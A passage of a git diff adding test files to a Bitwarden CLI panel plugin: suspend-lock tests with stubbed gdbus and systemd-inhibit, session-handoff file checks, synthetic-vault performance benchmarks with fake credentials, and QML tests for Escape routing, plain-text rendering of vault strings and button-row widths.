unbuffered, so the token is not held back past the suspend", + /sed -une/.test(sleepScript), sleepScript) + +// The end-to-end behaviour, against stubs standing in for gdbus and +// systemd-inhibit: the announcement has to produce exactly one token, the +// inhibitor has to be released about a second later, and the loop has to come +// round for the suspend after this one. +const os = require("os") +const work = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-lock-")) +try { + const log = path.join(work, "inhibit.log") + fs.writeFileSync(log, "") + + // Real gdbus is a single process, so the stub execs its wait rather than + // backgrounding it -- otherwise the stub would leak a child that the real + // thing does not have. + fs.writeFileSync(path.join(work, "gdbus"), `#!/bin/bash +echo "Monitoring signals on object /org/freedesktop/login1 owned by org.freedesktop.login1" +echo "/org/freedesktop/login1: org.freedesktop.login1.Manager.PrepareForSleep (false,)" +echo "/org/freedesktop/login1: org.freedesktop.login1.Manager.PrepareForSleep (true,)" +exec sleep 600 +`) + fs.writeFileSync(path.join(work, "systemd-inhibit"), `#!/bin/bash +while [[ "$1" == --* ]]; do shift; done +echo "ACQUIRED $(date +%s%3N)" >> "${log}" +"$@"; rc=$? +echo "RELEASED $(date +%s%3N)" >> "${log}" +exit $rc +`) + for (const f of ["gdbus", "systemd-inhibit"]) fs.chmodSync(path.join(work, f), 0o755) + + const script = path.join(work, "cmd.sh") + fs.writeFileSync(script, sleepScript) + + let out = "" + try { + out = execFileSync("bash", ["-c", + `PATH=${work}:$PATH timeout 4 bash ${script}`], { encoding: "utf8" }) + } catch (e) { + out = String(e.stdout || "") // timeout always kills it; that is the point + } + + const tokens = out.split("\n").map(s => s.trim()).filter(Boolean) + + check("an announcement produces the sleep token", + tokens[0] === Model.sleepSignalToken(), JSON.stringify(tokens)) + + check("resuming produces the wake token", + tokens[1] === Model.wakeSignalToken(), JSON.stringify(tokens)) + + // A `false` announcement is a resume, not a sleep. Two tokens per cycle, so + // an odd count would mean the resume line matched as well. + check("only a true announcement counts as a sleep", + tokens.filter(t => t === Model.sleepSignalToken()).length + === tokens.filter(t => t === Model.wakeSignalToken()).length + || tokens[tokens.length - 1] === Model.sleepSignalToken(), + JSON.stringify(tokens)) + + // The bug this shape exists to avoid: the loop coming round only once. + check("the loop detects more than one suspend per session", + tokens.filter(t => t === Model.sleepSignalToken()).length >= 2, + JSON.stringify(tokens)) + + const entries = fs.readFileSync(log, "utf8").trim().split("\n").filter(Boolean) + const acquired = entries.filter(l => l.startsWith("ACQUIRED")).length + const released = entries.filter(l => l.startsWith("RELEASED")).length + + check("an inhibitor is taken for every cycle", + acquired >= 2 && released >= 1 && acquired - released <= 1, + entries.join(" | ")) + + // Held about a second past the announcement, which is well inside logind's + // InhibitDelayMaxSec (5s by default) and long enough for the panel to drop + // the key and for the keyring clear it spawns to finish. + const firstAcquire = Number(entries[0].split(" ")[1]) + const firstRelease = Number(entries.find(l => l.startsWith("RELEASED")).split(" ")[1]) + const held = firstRelease - firstAcquire + check("the inhibitor is released promptly, not held across the suspend", + held >= 900 && held < 4000, `${held}ms`) +} finally { + fs.rmSync(work, { recursive: true, force: true }) +} + +// ------------------------------------------------------------------------- +// Session handoff window +// ------------------------------------------------------------------------- + +const NOW = 1_700_000_000_000 +const WINDOW = Model.handoffWindowMs() + +check("the window is closed when no terminal login was ever launched", + Model.handoffWindowOpen(0, NOW) === false, "0") + +check("the window is open right after launching one", + Model.handoffWindowOpen(NOW, NOW) === true, "same instant") + +check("the window is still open partway through a slow login", + Model.handoffWindowOpen(NOW - WINDOW / 2, NOW) === true, "half the window") + +check("the window is open at the boundary", + Model.handoffWindowOpen(NOW - WINDOW, NOW) === true, "exactly the window") + +check("the window is closed past the boundary", + Model.handoffWindowOpen(NOW - WINDOW - 1, NOW) === false, "one ms past") + +// A clock stepped backwards is evidence the clock moved, not that the login +// was recent, so it must not reopen the window. +check("a clock stepped backwards closes the window rather than reopening it", + Model.handoffWindowOpen(NOW + 60_000, NOW) === false, "start in the future") + +check("a window long enough for a real 2FA login", + WINDOW >= 5 * 60 * 1000, `${WINDOW}ms`) + +const expecting = Model.sessionHandoffReadCommand(true)[2] +const discarding = Model.sessionHandoffReadCommand(false)[2] + +check("an expected handoff is read out", + expecting.includes("head -c"), expecting) + +check("an unexpected handoff is not read out", + !discarding.includes("head -c"), discarding) + +// Not reading it is not the same as leaving it there. A live session key in +// the runtime directory is the worse of the two outcomes. +check("an unexpected handoff is still removed", + discarding.includes("rm -f"), discarding) + +check("an expected handoff is removed once consumed", + expecting.includes("rm -f"), expecting) + +// Both forms, run for real against a planted file. +{ + const runtime = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-handoff-")) + try { + const dir = path.join(runtime, "qs-bitwarden-cli") + fs.mkdirSync(dir) + const file = path.join(dir, "session-handoff") + const KEY = "A".repeat(88) + + for (const [label, script, wantOut] of [ + ["expected", expecting, KEY], + ["unexpected", discarding, ""], + ]) { + fs.writeFileSync(file, KEY) + const out = execFileSync("bash", ["-c", script], + { encoding: "utf8", env: { ...process.env, XDG_RUNTIME_DIR: runtime } }) + check(`an ${label} handoff returns ${wantOut ? "the key" : "nothing"}`, + out.trim() === wantOut, JSON.stringify(out)) + check(`an ${label} handoff leaves no file behind`, + !fs.existsSync(file), "file still present") + } + } finally { + fs.rmSync(runtime, { recursive: true, force: true }) + } +} + +// ------------------------------------------------------------------------- +// Both settings reach the settings screen +// ------------------------------------------------------------------------- + +const keys = Model.groupedSettings().map(e => e.key) +for (const k of ["lockOnScreenLock", "lockOnSuspend"]) { + check(`${k} appears in the settings screen`, keys.includes(k), keys.join(", ")) + const entry = Model.groupedSettings().find(e => e.key === k) + check(`${k} is a toggle in the Security group`, + entry.type === "bool" && entry.group === "security", JSON.stringify(entry)) +} + +// The manifest is what the shell reads defaults from, so the two have to agree. +const manifest = JSON.parse(fs.readFileSync(path.join(__dirname, "..", "manifest.json"), "utf8")) +for (const k of ["lockOnScreenLock", "lockOnSuspend"]) { + check(`${k} has a manifest default`, + manifest.barWidget.defaults[k] === true, JSON.stringify(manifest.barWidget.defaults[k])) + check(`${k} has a manifest schema entry`, + manifest.barWidget.schema.some(e => e.key === k && e.type === "boolean"), k) +} + +// ------------------------------------------------------------------------- + +if (failures.length) { + console.error(`\n${failures.length} failure(s):\n`) + for (const f of failures) console.error(` ${f}\n`) + process.exit(1) +} +console.log(`lock-triggers.test.js: ${pass} checks passed`) diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/performance.test.js b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/performance.test.js new file mode 100644 index 0000000..d22635f --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/performance.test.js @@ -0,0 +1,164 @@ +#!/usr/bin/env node +// Deterministic synthetic-vault performance guardrails. These measure the +// work the plugin owns after `bw list items` returns; they never read a real +// vault or make a network request. +// +// node tests/performance.test.js + + +const fs = require("fs") +const path = require("path") + +const Model = {} +new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8") + .replace(/^\.pragma library\s*$/m, "") + ` + exports.parseItems = parseItems + exports.filterItems = filterItems + exports.findContextualMatches = findContextualMatches +`)(Model) + +const MIB = 1024 * 1024 +const tiers = [ + { name: "small", items: 100, bytes: Math.round(0.25 * MIB), folders: 10, orgs: 1, + parseP95Ms: 75, filterP95Ms: 50, contextP95Ms: 75 }, + { name: "typical", items: 500, bytes: 1 * MIB, folders: 50, orgs: 3, + parseP95Ms: 100, filterP95Ms: 75, contextP95Ms: 100 }, + { name: "large", items: 2000, bytes: 5 * MIB, folders: 200, orgs: 10, + parseP95Ms: 175, filterP95Ms: 100, contextP95Ms: 150 }, + { name: "stress", items: 5000, bytes: 14 * MIB, folders: 500, orgs: 25, + parseP95Ms: 300, filterP95Ms: 150, contextP95Ms: 250 } +] + +let pass = 0 +const failures = [] +const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`) + +function fakeItem(index, tier) { + const ordinal = String(index).padStart(5, "0") + const kind = index % 10 + const item = { + object: "item", + id: `00000000-0000-4000-8000-${String(index).padStart(12, "0")}`, + organizationId: index % 4 === 0 ? null : `org-${index % tier.orgs}`, + folderId: `folder-${index % tier.folders}`, + type: kind < 7 ? 1 : kind === 7 ? 2 : kind === 8 ? 3 : 4, + name: `Service ${ordinal}`, + notes: `Synthetic fixture note ${ordinal}`, + favorite: index % 17 === 0, + fields: [{ name: "fixture-field", value: `value-${ordinal}`, type: index % 2 }], + attachments: index % 23 === 0 + ? [{ id: `attachment-${index}`, fileName: `fixture-${ordinal}.txt`, size: "1024" }] + : [] + } + + if (item.type === 1) { + item.login = { + username: `user-${ordinal}@example.test`, + password: `not-a-real-password-${ordinal}`, + totp: index % 11 === 0 ? "JBSWY3DPEHPK3PXP" : null, + uris: [{ match: null, uri: `https://service-${index % 80}.example.test/login/${ordinal}` }] + } + } else if (item.type === 3) { + item.card = { + cardholderName: "Fixture Person", brand: "Visa", number: "4111111111111111", + expMonth: "04", expYear: "2030", code: "123" + } + } else if (item.type === 4) { + item.identity = { + firstName: "Fixture", lastName: ordinal, email: `identity-${ordinal}@example.test`, + phone: "5550100", address1: "1 Fixture Road", city: "Testville", + state: "TS", postalCode: "00000", country: "US" + } + } + return item +} + +function buildFixture(tier) { + const items = [] + for (let i = 0; i < tier.items; i++) items.push(fakeItem(i, tier)) + + // Spread deterministic padding across the entries so parseItems still does + // realistic per-item work instead of parsing one giant outlier note. + let raw = JSON.stringify(items) + const remaining = tier.bytes - Buffer.byteLength(raw) + if (remaining > 0) { + const paddingPerItem = Math.floor(remaining / tier.items) + const tail = remaining % tier.items + for (let i = 0; i < items.length; i++) { + items[i].notes += "x".repeat(paddingPerItem + (i < tail ? 1 : 0)) + } + raw = JSON.stringify(items) + } + return raw +} + +function timed(fn) { + const start = process.hrtime.bigint() + const value = fn() + return { value, ms: Number(process.hrtime.bigint() - start) / 1e6 } +} + +function p95(values) { + const sorted = values.slice().sort((a, b) => a - b) + return sorted[Math.ceil(sorted.length * 0.95) - 1] +} + +const results = [] +for (const tier of tiers) { + const raw = buildFixture(tier) + const actualBytes = Buffer.byteLength(raw) + check(`${tier.name}: fixture item count`, JSON.parse(raw).length === tier.items, + `expected ${tier.items}`) + check(`${tier.name}: fixture payload size`, + actualBytes >= tier.bytes && actualBytes <= tier.bytes + tier.items * 2, + `expected approximately ${tier.bytes} bytes, got ${actualBytes}`) + + // Warm V8 before collecting the samples so the guard measures steady-state + // panel work rather than Node's compilation of the test itself. + let parsed = Model.parseItems(raw) + Model.filterItems(parsed, "service 0004", "all", "all", "all") + Model.findContextualMatches(parsed, + { class: "firefox", title: "Service 42 - Mozilla Firefox" }, {}) + + const parseSamples = [] + const filterSamples = [] + const contextSamples = [] + for (let sample = 0; sample < 20; sample++) { + const parseRun = timed(() => Model.parseItems(raw)) + parsed = parseRun.value + parseSamples.push(parseRun.ms) + filterSamples.push(timed(() => Model.filterItems(parsed, + sample % 2 ? "service 0042" : "user-0004", "all", "all", "all")).ms) + contextSamples.push(timed(() => Model.findContextualMatches(parsed, + { class: "firefox", title: "Service 42 login - Mozilla Firefox" }, {})).ms) + } + + const row = { + tier: tier.name, + items: tier.items, + mib: actualBytes / MIB, + parse: p95(parseSamples), + filter: p95(filterSamples), + context: p95(contextSamples) + } + results.push(row) + check(`${tier.name}: parse p95`, row.parse <= tier.parseP95Ms, + `${row.parse.toFixed(2)}ms > ${tier.parseP95Ms}ms`) + check(`${tier.name}: filter p95`, row.filter <= tier.filterP95Ms, + `${row.filter.toFixed(2)}ms > ${tier.filterP95Ms}ms`) + check(`${tier.name}: contextual match p95`, row.context <= tier.contextP95Ms, + `${row.context.toFixed(2)}ms > ${tier.contextP95Ms}ms`) +} + +console.log("tier items MiB parse p95 filter p95 context p95") +for (const row of results) { + console.log(`${row.tier.padEnd(8)} ${String(row.items).padStart(5)} ${row.mib.toFixed(2).padStart(5)}` + + ` ${(row.parse.toFixed(2) + "ms").padStart(9)}` + + ` ${(row.filter.toFixed(2) + "ms").padStart(10)}` + + ` ${(row.context.toFixed(2) + "ms").padStart(11)}`) +} +console.log(`\n${pass} passed, ${failures.length} failed`) +if (failures.length) { + console.error("\nFAILURES:\n " + failures.join("\n ")) + process.exit(1) +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_escape_routing.qml b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_escape_routing.qml new file mode 100644 index 0000000..ff33046 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_escape_routing.qml @@ -0,0 +1,163 @@ +// Escape must cancel out of a form, and the panel's key wiring makes that +// non-obvious enough to be worth pinning down. Two separate traps live here. +// +// 1. PanelKeyCatcher goes `blocked` on every screen built around a text field +// -- the item form, PIN, fingerprint, the Send composer -- and a blocked +// catcher drops ALL keys, Escape included. So Escape is dispatched from the +// shortcut interceptor, which the catcher reaches through Keys.forwardTo +// before its own handler and regardless of `blocked`. +// +// 2. Qt does NOT clear active focus when an item is hidden. The search field +// keeps focus behind the item form, and its own Keys.onEscapePressed used +// to fire from back there and close the whole panel. Two things stop that: +// the handler ignores Escape unless the search box is the current screen, +// and focus is re-homed whenever the screen changes. +// +// Needs Qt, which any machine running the plugin already has: +// +// QT_QPA_PLATFORM=offscreen qmltestrunner -input tests/qml +// +import QtQuick +import QtQuick.Controls +import QtTest +// Namespaced so the kit's own TextField (which needs the shell's import path) +// does not shadow the plain QtQuick.Controls one used below. +import "file:/usr/share/omarchy/shell/Ui" as OmarchyUi + +TestCase { + id: tc + name: "EscapeRouting" + when: windowShown + width: 300; height: 200 + visible: true + + property string screenName: "main" + property int interceptorEscapes: 0 + property int catcherCloses: 0 + property int panelCloses: 0 + property string trail: "" + + // Stands in for Panel.qml's handleEscape(). + function handleEscape() { + tc.interceptorEscapes++ + tc.trail += "dispatch(" + tc.screenName + ") " + if (tc.screenName === "edit") tc.screenName = "main" + else tc.panelCloses++ + } + + onScreenNameChanged: restoreScreenFocus() + + function restoreScreenFocus() { + if (tc.screenName === "main") searchField.forceActiveFocus() + else if (tc.screenName === "edit") formField.forceActiveFocus() + } + + // Stands in for Panel.qml's shortcutInterceptor. + Item { + id: interceptor + Keys.onPressed: function(event) { + if (event.key === Qt.Key_Escape && !(event.modifiers & ~Qt.KeypadModifier)) { + tc.handleEscape() + event.accepted = true + } + } + } + + OmarchyUi.PanelKeyCatcher { + id: catcher + anchors.fill: parent + Keys.forwardTo: [interceptor] + blocked: searchField.activeFocus || tc.screenName === "edit" + onCloseRequested: tc.catcherCloses++ + + Column { + anchors.fill: parent + + Column { + visible: tc.screenName === "main" + TextField { + id: searchField + Keys.onEscapePressed: function(event) { + tc.trail += "searchField " + if (tc.screenName !== "main") { event.accepted = false; return } + if (text) text = "" + else tc.panelCloses++ + } + } + } + + Column { + visible: tc.screenName === "edit" + TextField { id: formField } + } + } + } + + function init() { + tc.interceptorEscapes = 0 + tc.catcherCloses = 0 + tc.panelCloses = 0 + tc.trail = "" + } + + // The bug behind "Escape does nothing on the item form": on that screen the + // catcher is blocked and a field holds focus. + function test_1_escape_survives_a_blocked_catcher() { + tc.screenName = "edit" + formField.forceActiveFocus() + verify(formField.activeFocus, "the form field should hold focus") + keyClick(Qt.Key_Escape) + compare(tc.interceptorEscapes, 1, "Escape must reach the dispatch through a blocked catcher") + compare(tc.catcherCloses, 0, "a blocked catcher never fires closeRequested -- that was the bug") + compare(tc.panelCloses, 0, "and it must not close the panel") + } + + // The bug behind "Escape closes the whole panel": hiding the main screen + // does not take focus off the search box, so it kept answering Escape. + function test_2_hidden_search_field_does_not_answer_escape() { + tc.screenName = "edit" + wait(0) + // Force the stale-owner state directly: focus the hidden search field + // while the form is showing. Re-homing normally prevents this, so this + // isolates the handler's own guard rather than leaning on that. + searchField.forceActiveFocus() + verify(searchField.activeFocus, "the hidden search field holds focus") + verify(!searchField.visible, "and it is hidden behind the form") + + keyClick(Qt.Key_Escape) + compare(tc.panelCloses, 0, "a hidden search field must not close the panel: " + tc.trail) + compare(tc.screenName, "main", "Escape should cancel the edit instead") + } + + // Re-homing focus on a screen change is what stops the stale owner + // accumulating in the first place. + function test_3_focus_follows_the_screen() { + tc.screenName = "main" + searchField.forceActiveFocus() + tc.screenName = "edit" + wait(0) + verify(formField.activeFocus, "the form field should take focus when the form opens") + verify(!searchField.activeFocus, "the hidden search field should not still hold it") + } + + // Blocking exists so letters are typed rather than read as shortcuts; + // intercepting Escape must not cost that. + function test_4_typing_still_reaches_the_field() { + tc.screenName = "edit" + formField.text = "" + formField.forceActiveFocus() + keyClick(Qt.Key_J) + compare(formField.text, "j", "letters must still land in the field") + compare(tc.interceptorEscapes, 0, "no stray Escape") + } + + // On unblocked screens both handlers are live; the interceptor accepting the + // event is what keeps the dispatch from running twice. + function test_5_escape_is_dispatched_once_when_unblocked() { + tc.screenName = "settings" + catcher.forceActiveFocus() + keyClick(Qt.Key_Escape) + compare(tc.interceptorEscapes, 1, "interceptor handles Escape") + compare(tc.catcherCloses, 0, "catcher must not fire once the interceptor accepted") + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_rich_text.qml b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_rich_text.qml new file mode 100644 index 0000000..56e8b4b --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_rich_text.qml @@ -0,0 +1,56 @@ +// A Text left on its default textFormat sniffs its own string and renders it +// as HTML the moment it looks like markup. That is a real hazard in a panel +// whose strings come out of a vault, and it is invisible in code review -- +// nothing in the QML says "HTML". So it is pinned here against Qt itself +// rather than against our reading of the docs. +// +// Rendering is observed through contentWidth: markup that Qt parsed is markup +// Qt did not draw, so the parsed line is narrower than the literal one. +// +// QT_QPA_PLATFORM=offscreen qmltestrunner -input tests/qml +// +import QtQuick +import QtTest +import "../../BitwardenModel.js" as Model + +TestCase { + id: tc + name: "RichText" + when: windowShown + + // A vault value crafted to be read as markup. The tags are what an attacker + // controls; the visible text is what the user is entitled to see. + readonly property string vaultName: "Work & Home" + + // Default textFormat -- Text.AutoText -- exactly as the shared kit controls + // render the labels we hand them. + Text { id: sniffing; font.pixelSize: 14 } + + // What the plugin's own Text elements now declare. + Text { id: literal; textFormat: Text.PlainText; font.pixelSize: 14 } + + function test_auto_text_swallows_markup_in_a_vault_value() { + literal.text = tc.vaultName + sniffing.text = tc.vaultName + verify(sniffing.contentWidth > 0) + verify(sniffing.contentWidth < literal.contentWidth - 1) + } + + function test_plain_text_draws_the_value_the_vault_holds() { + literal.text = tc.vaultName + compare(literal.textFormat, Text.PlainText) + verify(literal.contentWidth > 0) + } + + function test_plainLabel_restores_the_literal_value_for_a_sniffing_control() { + literal.text = tc.vaultName + sniffing.text = Model.plainLabel(tc.vaultName) + // Same glyphs, so the same width: nothing was parsed away and no entity + // leaked through as "&". + fuzzyCompare(sniffing.contentWidth, literal.contentWidth, 2.0) + } + + function test_plainLabel_leaves_an_ordinary_name_alone() { + compare(Model.plainLabel("Work"), "Work") + } +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_row_widths.qml b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_row_widths.qml new file mode 100644 index 0000000..0ff326e --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_row_widths.qml @@ -0,0 +1,477 @@ +// A row of buttons must fit the panel it is drawn in. +// +// QtQuick's Row is a positioner, not a layout: it cannot shrink a child and it +// cannot start a second line. Anything wider than the panel is simply laid out +// past the right edge, and the control that lands there is gone -- not clipped +// with a scrollbar, not wrapped, just off the panel with no way to reach it. +// +// That is how "Suggested here" cost the detail view its Delete button. The +// header holds four buttons only when the active window matched a login, and +// the pinned label is one character wider than the unpinned one -- so the row +// fit at 441px until the moment you clicked, and 454.5px after. Nothing in the +// panel said so; the button was just missing. +// +// So this measures. It reads the panel's own QML, finds every Row of buttons, +// rebuilds each label with the real font, and adds up what the kit will make +// of them. A Row that does not fit fails here instead of in a screenshot. +// +// Rows declared as Flow or RowLayout are reported but not failed: those two +// CAN wrap or shrink, which is the fix this test exists to push people toward. +// +// Needs the QML sources readable from QML, which Qt gates behind an env var: +// +// QML_XHR_ALLOW_FILE_READ=1 QT_QPA_PLATFORM=offscreen \ +// /usr/lib/qt6/bin/qmltestrunner -input tests/qml +// +import QtQuick +import QtTest + +TestCase { + id: tc + name: "RowWidths" + when: windowShown + width: 600; height: 200 + visible: true + + // ---------------------------------------------------------------- budgets + // + // Panel.qml draws into `fittedContentWidth(Style.space(450))`. Rows inside a + // Flickable lose `scrollGutter` (Style.space(10)) on top of that, and rather + // than track which rows are and are not inside one, every panel row is held + // to the narrower 440. The SSH prompt is its own card: Style.space(460) less + // panelPadding (18) and the card border (2) on each side. + // + // These are the sizes at the default [font] base-size of 12. A theme scales + // fonts and spacing by the same factor -- Style.space() multiplies by + // fontScale too -- so the ratio this test pins holds at any base size. + readonly property int panelBudget: 440 + readonly property int popupBudget: 420 + + // ------------------------------------------------------- the kit's Button + // + // qs.Ui.Button cannot be instantiated here: it imports qs.Commons, which + // imports Quickshell, whose plugin only loads inside the quickshell runtime. + // So its geometry is restated, from Ui/Button.qml: + // + // implicitWidth: row.implicitWidth + horizontalPadding * 2 + // + _reservedBorderLeft + _reservedBorderRight + // + // where the inner row is `icon + Style.spacing.controlGap + label`, the + // padding is Style.spacing.controlPaddingX, and the reserved border is the + // widest any state can paint (1px a side at the default border width). + // `verify_button_geometry_is_still_the_kits` below fails if that changes. + readonly property int controlGap: 8 + readonly property int controlPaddingX: 10 + readonly property int reservedBorder: 2 + + // Style.font tokens at base-size 12: caption .833, body-small .917, body 1.0, + // and `icon` defaults to `title` (1.167). + readonly property var fontPx: ({ + "Style.font.caption": 10, + "Style.font.bodySmall": 11, + "Style.font.body": 12 + }) + readonly property int iconPx: 14 + + TextMetrics { id: labelMetrics; font.family: "monospace" } + TextMetrics { id: iconMetrics; font.family: "monospace"; font.pixelSize: tc.iconPx } + + function labelWidth(text, px) { + labelMetrics.font.pixelSize = px + labelMetrics.text = text + return labelMetrics.advanceWidth + } + + // One monospace cell at the icon size, NOT the glyph itself. + // + // These icons are Nerd Font private-use codepoints, which exist on a desktop + // running the shell and not on a CI runner -- and a missing glyph measures as + // the fallback's notdef box, so measuring them directly would quietly change + // every total the moment this runs somewhere without the font. In a patched + // monospace font a Nerd glyph occupies exactly one cell, so an ordinary + // character at the same pixel size is the same width and is everywhere. + // (Locally both measure 8.390625.) + function iconWidth(glyph) { + if (!glyph) return 0 + iconMetrics.text = "M" + return iconMetrics.advanceWidth + } + + function buttonWidth(button) { + var icon = iconWidth(button.icon) + var label = button.label === "" ? 0 : labelWidth(button.label, button.fontSize) + var gap = (icon > 0 && label > 0) ? tc.controlGap : 0 + return icon + gap + label + button.paddingX * 2 + tc.reservedBorder + } + + // ------------------------------------------------------------ reading QML + function readFile(relativePath) { + var xhr = new XMLHttpRequest() + xhr.open("GET", Qt.resolvedUrl("../../" + relativePath), false) + xhr.send() + return xhr.responseText || "" + } + + // Every string literal in a binding, longest first. A label is often a + // conditional -- `root.sendMode === "create" ? "Back to Sends" : "Back"` -- + // and the widest branch is the one that has to fit. + function widestLiteral(binding) { + var found = binding.match(/"((?:[^"\\]|\\.)*)"/g) + if (!found) return null + var widest = "" + for (var i = 0; i < found.length; i++) { + var value = found[i].slice(1, -1).replace(/\\"/g, "\"") + if (value.length > widest.length) widest = value + } + return widest + } + + function propertyIn(body, name) { + var m = body.match(new RegExp("^\\s*" + name + ":\\s*(.*)$", "m")) + return m ? m[1].trim() : null + } + + // Direct children only. A nested Row -- the per-item action buttons inside a + // list delegate, say -- is found and measured as a row in its own right, and + // must not also be counted as part of its parent. + function directChildren(body, type) { + var out = [] + var open = new RegExp("(?:^|\\n)(\\s*)(?:" + type + ")\\s*\\{") + var rest = body + var depth = 0 + var lines = body.split("\n") + var i + for (i = 0; i < lines.length; i++) { + var line = lines[i] + var isChild = depth === 1 && new RegExp("^\\s*(?:" + type + ")\\s*\\{").test(line) + if (isChild) { + var childDepth = 0 + var collected = [] + for (var j = i; j < lines.length; j++) { + collected.push(lines[j]) + childDepth += (lines[j].match(/\{/g) || []).length + childDepth -= (lines[j].match(/\}/g) || []).length + if (childDepth === 0 && j > i) break + } + out.push(collected.join("\n")) + } + depth += (line.match(/\{/g) || []).length + depth -= (line.match(/\}/g) || []).length + } + return out + } + + // Every Row / Flow / RowLayout in a file, with the buttons directly in it. + function rowsIn(source, file) { + var lines = source.split("\n") + var rows = [] + for (var i = 0; i < lines.length; i++) { + var opener = lines[i].match(/^(\s*)(Row|Flow|RowLayout)\s*\{\s*$/) + if (!opener) continue + var depth = 0 + var block = [] + for (var j = i; j < lines.length; j++) { + block.push(lines[j]) + depth += (lines[j].match(/\{/g) || []).length + depth -= (lines[j].match(/\}/g) || []).length + if (depth === 0 && j > i) break + } + var body = block.join("\n") + var buttons = [] + var declarations = directChildren(body, "Button|VaultFilterButton") + for (var k = 0; k < declarations.length; k++) { + var declaration = declarations[k] + var textBinding = propertyIn(declaration, "text") + var label = textBinding === null ? null : widestLiteral(textBinding) + // A label with no literal in it is vault text or a computed string. + // Its width is not ours to know, so it is reported, never measured. + if (label === null) { buttons.push(null); continue } + var sizeBinding = propertyIn(declaration, "fontSize") + var iconBinding = propertyIn(declaration, "iconText") + var padBinding = propertyIn(declaration, "horizontalPadding") + buttons.push({ + label: label, + icon: iconBinding === null ? "" : (widestLiteral(iconBinding) || ""), + fontSize: (sizeBinding && tc.fontPx[sizeBinding] !== undefined) + ? tc.fontPx[sizeBinding] : tc.fontPx["Style.font.body"], + paddingX: padBinding === null ? tc.controlPaddingX : tc.controlPaddingX + }) + } + var spacingBinding = propertyIn(body, "spacing") + var spacingMatch = spacingBinding ? spacingBinding.match(/Style\.space\((\d+)\)/) : null + rows.push({ + file: file, + line: i + 1, + kind: opener[2], + spacing: spacingMatch ? parseInt(spacingMatch[1], 10) : 0, + buttons: buttons + }) + i = j + } + return rows + } + + function measure(row) { + var total = 0 + for (var i = 0; i < row.buttons.length; i++) { + if (row.buttons[i] === null) return -1 + total += buttonWidth(row.buttons[i]) + } + return total + row.spacing * Math.max(0, row.buttons.length - 1) + } + + // ------------------------------------------------------------------ tests + readonly property var sources: [ + { file: "Panel.qml", budget: panelBudget }, + { file: "SshAgentSettings.qml", budget: panelBudget }, + { file: "SshApprovalScreen.qml", budget: popupBudget }, + { file: "SshUnlockScreen.qml", budget: popupBudget } + ] + + // Every budget here is a pixel count, and pixel counts only mean anything + // while the font puts every character in the same width of cell. If this + // machine resolves `monospace` to something proportional, the numbers below + // are measuring a different panel than the one that ships -- say so rather + // than report a pass or a failure that was never about the layout. + function test_the_font_is_monospaced() { + var narrow = labelWidth("iiiiiiiiii", 11) + var wide = labelWidth("MMMMMMMMMM", 11) + verify(narrow > 0 && Math.abs(narrow - wide) < 0.01, + "`monospace` resolved to a proportional font here (i=" + narrow + + ", M=" + wide + "), so these width budgets do not describe the panel") + } + + function test_the_sources_are_readable() { + // Without QML_XHR_ALLOW_FILE_READ every parse silently finds nothing, and + // a test that measures nothing passes. Fail loudly instead. + for (var i = 0; i < sources.length; i++) { + var body = readFile(sources[i].file) + verify(body.length > 0, + sources[i].file + " read back empty -- set QML_XHR_ALLOW_FILE_READ=1") + } + } + + function test_every_row_of_buttons_fits_its_panel() { + var offenders = [] + var measured = 0 + for (var i = 0; i < sources.length; i++) { + var rows = rowsIn(readFile(sources[i].file), sources[i].file) + for (var j = 0; j < rows.length; j++) { + var row = rows[j] + if (row.buttons.length < 2) continue + var total = measure(row) + if (total < 0) continue + measured++ + // Flow wraps and RowLayout shrinks; neither can push a button off the + // panel, so neither is held to the single-line budget. + if (row.kind !== "Row") continue + if (total > sources[i].budget) { + offenders.push(row.file + ":" + row.line + " (" + row.buttons.length + + " buttons) needs " + total.toFixed(1) + + "px, panel gives " + sources[i].budget + "px") + } + } + } + verify(measured >= 12, "only measured " + measured + " rows -- the parser stopped seeing them") + // Every button is counted, including ones a `visible:` binding makes + // mutually exclusive -- the parser cannot evaluate those, and a row whose + // contents depend on runtime state is exactly the row that should wrap + // rather than be trusted to a hand-checked worst case. The remedy either + // way is one word: Flow. + verify(offenders.length === 0, + "these Rows lay a button out past the panel edge; make them a Flow, or " + + "shorten the labels:\n " + offenders.join("\n ")) + } + + // The header that started this. Pinned and unpinned are measured separately + // because only the pinned label overflowed, which is why it survived review. + function test_the_detail_header_fits_with_the_suggestion_button_showing() { + var header = { spacing: 8, buttons: [ + { label: "Back (Esc)", icon: "\u{f040d}", fontSize: 11, paddingX: 10 }, + { label: "Suggested here", icon: "\u{f043e}", fontSize: 11, paddingX: 10 }, + { label: "Edit", icon: "\u{f03eb}", fontSize: 11, paddingX: 10 }, + { label: "Delete", icon: "\u{f01b4}", fontSize: 11, paddingX: 10 } + ] } + var pinned = measure(header) + header.buttons[1].label = "Suggest here" + header.buttons[1].icon = "\u{f043d}" + var unpinned = measure(header) + verify(pinned <= panelBudget, + "pinned header needs " + pinned.toFixed(1) + "px of " + panelBudget) + verify(unpinned <= panelBudget, + "unpinned header needs " + unpinned.toFixed(1) + "px of " + panelBudget) + } + + // The filter row names each filter as well as showing its value, because + // three chips reading "All" say nothing about which is which. That costs + // width, and the row is allowed to wrap to pay for it -- so what has to hold + // is not that every combination fits one line, but these two things. + function filterChip(name, value, glyph) { + // Model.clipLabel(value, 20), restated. + var clipped = value.length <= 20 ? value : value.slice(0, 17) + "..." + return { label: name + ": " + clipped, icon: glyph, fontSize: 10, paddingX: 10 } + } + + // One: the state the panel actually opens in stays on a single line. If this + // fails the row wraps by default, which is a 